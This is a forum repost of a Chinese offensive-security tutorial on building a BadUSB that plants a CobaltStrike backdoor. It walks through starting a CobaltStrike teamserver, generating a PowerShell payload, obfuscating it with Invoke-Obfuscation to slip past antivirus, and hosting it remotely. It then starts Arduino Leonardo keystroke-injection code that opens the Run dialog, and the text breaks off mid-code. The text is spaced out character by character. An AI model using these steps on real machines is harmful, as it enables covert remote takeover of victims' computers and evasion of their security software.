搜索

[27342] 2020-06-29_BadUSB简单免杀一秒上线CobaltStrike

文档创建者：s7ckTeam
浏览次数：254
最后更新：2025-01-19
2020-06-29_BadUSB简单免杀一秒上线CobaltStrike B a d U S B 简 单 免 杀 一 秒 上 线 C o b a l t S t r i k e 原 创   K   N e a r S e c   2 0 2 0 - 0 6 - 2 9 点 击 上 方 蓝 字 点 击 上 方 蓝 字     关 注 我 们 吧 关 注 我 们 吧 0 x 0 1   简 单 免 杀 制 作 1 . C o b a l t S t r i k e 服 务 端 准 备 启 动 服 务 端 命 令 2 . C o b a l t S t r i k e 客 户 端 登 录 并 导 出 P S 远 控 输 入 服 务 端 I P 端 口 密 码 ， 用 户 名 随 意 写 . / t e a m s e r v e r   1 9 2 . 1 6 8 . 1 . 6   a d m 1 n t 1 s t
设 置 监 听 器
P a y l o a d 默 认 即 可 ， 端 口 尽 量 别 冲 突
选 择 P a y l o a d 后 门 生 成 生 成 P o w e r S h e l l
运 行 保 存 在 桌 面 的 p a y l o a d . p s 1 ， 在 杀 软 全 程 开 启 的 情 况 下 直 接 上 线 （ 易 翻 车 ， 运 气 好 ） 3 . 编 码 混 淆 P o w e r S h e l l 的 免 杀 可 以 用 I n v o k e - O b f u s c a t i o n ， I n v o k e - O b f u s c a t i o n 主 要 是 对 p s 1 脚 本 进 行 免 杀 ， 需 要 现 有 一 个 p s 的 p a y l o a d 。 进 入 I n v o k e - O b f u s c a t i o n 目 录 后 ， 在 P o w e r S h e l l 中 执 行 命 令 I m p o r t - M o d u l e   . I n v o k e - O b f u s c a t i o n . p s d 1 I n v o k e - O b f u s c a t i o n
遇 到 权 限 报 错 问 题 可 以 参 照 ： h t t p s : / / b l o g . c s d n . n e t / e b z x w / a r t i c l e / d e t a i l s / 8 5 0 1 9 8 8 7 然 后 执 行 命 令 ， 指 定 待 处 理 的 P s 1 文 件 或 者 指 定 待 处 理 的 p s 代 码 s e t   s c r i p t p a t h   c : x x x p a y l o a d . p s 1 s e t   s c r i p t b l o c k   ' e c h o   x s s '
输 入 e n c o d i n g   并 选 择 编 码 方 式 ， 比 如 1 输 入 命 令 ， 导 出 免 杀 p s 文 件 到 指 定 路 径 o u t   C : x x x x x x . p s 1
运 行 上 线 ， 至 此 ， 简 单 免 杀 制 作 完 成 。 4 . 放 到 远 程 服 务 器 备 用
0 x 0 2   B a d U s b 制 作 1 . 将 硬 件 插 入 电 脑 2 . 打 开 A r d u i n o   I D E 工 具 - > 板 - > 选 择 " A r d u i n o   L e o n a r d o "
端 口 - > 选 择 " C O M   ( A r d u i n o   L e o n a r d o ) " 3 . 将 以 下 代 码 粘 贴 到 a r d u i n o v o i d   s e t u p ( )   {     / /   p u t p o w e r   s h e l l   y o u r   s e t u p   c o d e   h e r e ,   t o   r u n   o n c e     K e y b o a r d . b e g i n ( ) ; / / 开 始 键 盘 通 讯   d e l a y ( 3 0 0 0 ) ; / / 延 时   K e y b o a r d . p r e s s ( K E Y _ L E F T _ G U I ) ; / / w i n 键   d e l a y ( 5 0 0 ) ; K e y b o a r d . p r e s s ( ' r ' ) ; / / r 键 d e l a y ( 5 0 0 ) ;   K e y b o a r d . r e l e a s e ( K E Y _ L E F T _ G U I ) ; K e y b o a r d . r e l e a s e ( ' r ' ) ;   K e y b o a r d . p r e s s ( K E Y _ C A P S _ L O C K ) ; / / 利 用 开 大 写 输 小 写 绕 过 输 入 法 K e y b o a r d . r e l e a s e ( K E Y _ C A P S _ L O C K ) ; d e l a y ( 5 0 0 ) ;
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理